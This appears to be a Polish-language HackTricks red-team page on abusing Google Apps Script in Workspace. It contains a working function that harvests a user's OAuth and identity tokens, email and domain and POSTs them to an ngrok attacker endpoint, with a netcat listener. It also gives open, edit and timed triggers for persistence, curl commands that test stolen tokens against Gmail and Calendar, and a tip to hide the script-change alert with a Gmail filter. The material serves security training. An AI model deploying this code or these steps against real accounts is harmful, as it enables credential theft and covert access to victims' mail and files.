GWS - App Scripts

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

App Scripts

App Scripts to kod, który zostanie uruchomiony, gdy użytkownik z uprawnieniami edytora uzyska dostęp do dokumentu, z którym powiązany jest App Script i po zaakceptowaniu monitu OAuth.
Mogą być również ustawione na wykonywanie co pewien czas przez właściciela App Script (Persistence).

Utwórz App Script

Istnieje kilka sposobów na utworzenie App Script, chociaż najczęstsze to z dokumentu Google (dowolnego typu) oraz jako projekt samodzielny:

Utwórz projekt powiązany z kontenerem z Google Docs, Sheets lub Slides
  1. Otwórz dokument Docs, arkusz kalkulacyjny Sheets lub prezentację Slides.
  2. Kliknij Rozszerzenia > Google Apps Script.
  3. W edytorze skryptów kliknij Bez tytułu projektu.
  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny

Aby utworzyć projekt samodzielny z Apps Script:

  1. Przejdź do script.google.com.
  2. Kliknij dodaj Nowy projekt.
  3. W edytorze skryptów kliknij Bez tytułu projektu.
  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny z Google Drive
  1. Otwórz Google Drive.
  2. Kliknij Nowy > Więcej > Google Apps Script.
Utwórz projekt powiązany z kontenerem z Google Forms
  1. Otwórz formularz w Google Forms.
  2. Kliknij Więcej more_vert > Edytor skryptów.
  3. W edytorze skryptów kliknij Bez tytułu projektu.
  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny za pomocą narzędzia wiersza poleceń clasp

clasp to narzędzie wiersza poleceń, które pozwala tworzyć, pobierać/wysyłać i wdrażać projekty Apps Script z terminala.

Zobacz Przewodnik po interfejsie wiersza poleceń z użyciem clasp po więcej szczegółów.

Scenariusz App Script

Utwórz arkusz Google z App Script

Zacznij od utworzenia App Script, moją rekomendacją w tym scenariuszu jest utworzenie arkusza Google i przejście do Rozszerzenia > App Scripts, to otworzy nowy App Script powiązany z arkuszem.

Token wycieku

Aby dać dostęp do tokena OAuth, musisz kliknąć Usługi + i dodać zakresy takie jak:

  • AdminDirectory: Dostęp do użytkowników i grup w katalogu (jeśli użytkownik ma wystarczające uprawnienia)
  • Gmail: Aby uzyskać dostęp do danych gmail
  • Drive: Aby uzyskać dostęp do danych drive
  • Google Sheets API: Aby działało z wyzwalaczem

Aby samodzielnie zmienić potrzebne zakresy, możesz przejść do ustawień projektu i włączyć: Pokaż plik manifestu "appsscript.json" w edytorze.

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

Aby przechwycić żądanie, wystarczy uruchomić:

ngrok tcp 4444
nc -lv 4444 #macOS

Uprawnienia wymagane do wykonania skryptu aplikacji:

Warning

Ponieważ dokonano zewnętrznego żądania, okno OAuth również poprosi o pozwolenie na dostęp do zewnętrznych punktów końcowych.

Utwórz wyzwalacz

Po odczytaniu aplikacji kliknij ⏰ Wyzwalacze, aby utworzyć wyzwalacz. Jako funkcję do uruchomienia wybierz getToken, uruchamia się przy wdrożeniu Head, w źródle zdarzenia wybierz Z arkusza kalkulacyjnego a typ zdarzenia wybierz Przy otwarciu lub Przy edytowaniu (zgodnie z Twoimi potrzebami) i zapisz.

Zauważ, że możesz sprawdzić wykonania skryptów aplikacji w zakładce Wykonania, jeśli chcesz coś zdebugować.

Udostępnianie

Aby wyzwolić skrypt aplikacji, ofiara musi połączyć się z dostępem edytora.

Tip

Token używany do wykonania skryptu aplikacji będzie tokenem twórcy wyzwalacza, nawet jeśli plik jest otwarty jako edytor przez innych użytkowników.

Wykorzystywanie dokumentów udostępnionych mi

Caution

Jeśli ktoś udostępnił Ci dokument ze skryptami aplikacji i wyzwalaczem używającym Head skryptu aplikacji (nie stałego wdrożenia), możesz zmodyfikować kod skryptu aplikacji (dodając na przykład funkcje kradnące token), uzyskać do niego dostęp, a skrypt aplikacji zostanie wykonany z uprawnieniami użytkownika, który udostępnił Ci dokument! (zauważ, że token OAuth właściciela będzie miał zakresy dostępu nadane podczas tworzenia wyzwalacza).

Powiadomienie zostanie wysłane do twórcy skryptu informujące, że ktoś zmodyfikował skrypt (co powiesz na wykorzystanie uprawnień gmaila do wygenerowania filtru, aby zapobiec powiadomieniu?)

Tip

Jeśli atakujący zmodyfikuje zakresy skryptu aplikacji, aktualizacje nie zostaną zastosowane do dokumentu, dopóki nie zostanie utworzony nowy wyzwalacz z wprowadzonymi zmianami. Dlatego atakujący nie będzie w stanie ukraść tokena właściciela twórcy z większymi zakresami niż te, które ustawił w wyzwalaczu, który utworzył.

Kopiowanie zamiast udostępniania

Gdy tworzysz link do udostępnienia dokumentu, tworzony jest link podobny do tego: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Jeśli zmienisz końcówkę “/edit” na “/copy”, zamiast uzyskać do niego dostęp, Google zapyta, czy chcesz wygenerować kopię dokumentu:

Jeśli użytkownik skopiuje go i uzyska do niego dostęp, zarówno zawartość dokumentu, jak i skrypty aplikacji zostaną skopiowane, jednak wyzwalacze nie, dlatego nic nie zostanie wykonane.

Udostępnianie jako aplikacja internetowa

Zauważ, że możliwe jest również udostępnienie skryptu aplikacji jako aplikacji internetowej (w edytorze skryptu aplikacji, wdrożenie jako aplikacja internetowa), ale pojawi się alert taki jak ten:

Następnie pojawi się typowe okno OAuth proszące o potrzebne uprawnienia.

Testowanie

Możesz przetestować zebrany token, aby wylistować e-maile za pomocą:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lista kalendarza użytkownika:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script jako Utrzymanie

Jedną z opcji na utrzymanie byłoby utworzenie dokumentu i dodanie wyzwalacza dla funkcji getToken oraz udostępnienie dokumentu atakującemu, aby za każdym razem, gdy atakujący otworzy plik, wyekstrahował token ofiary.

Możliwe jest również stworzenie App Script i ustawienie go tak, aby wyzwalał się co X czasu (na przykład co minutę, godzinę, dzień…). Atakujący, który skompromentował dane uwierzytelniające lub sesję ofiary, mógłby ustawić wyzwalacz czasowy App Script i codziennie wyciekać bardzo uprzywilejowany token OAuth:

Po prostu utwórz App Script, przejdź do Wyzwalaczy, kliknij Dodaj Wyzwalacz i wybierz jako źródło zdarzenia Czasowe oraz wybierz opcje, które najlepiej Ci odpowiadają:

Caution

To spowoduje utworzenie powiadomienia o bezpieczeństwie w formie e-maila oraz wiadomości push na Twoim telefonie.

Ominięcie Niezatwierdzonego Podpowiedzi Dokumentu Współdzielonego

Ponadto, jeśli ktoś udostępnił Ci dokument z dostępem edytora, możesz generować App Scripts wewnątrz dokumentu, a WŁAŚCICIEL (twórca) dokumentu będzie właścicielem App Script.

Warning

Oznacza to, że twórca dokumentu będzie się pojawiał jako twórca każdego App Script, który ktokolwiek z dostępem edytora utworzy wewnątrz niego.

Oznacza to również, że App Script będzie zaufany przez środowisko Workspace twórcy dokumentu.

Caution

Oznacza to również, że jeśli App Script już istniał i ludzie przyznali dostęp, każdy z uprawnieniami Edytora w dokumencie może zmodyfikować go i nadużywać tego dostępu.
Aby nadużywać tego, potrzebujesz również, aby ludzie wyzwalali App Script. A jednym z fajnych trików jest opublikowanie skryptu jako aplikacji internetowej. Gdy ludzie, którzy już przyznali dostęp do App Script, wejdą na stronę internetową, wyzwolą App Script (to również działa przy użyciu tagów <img>).

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks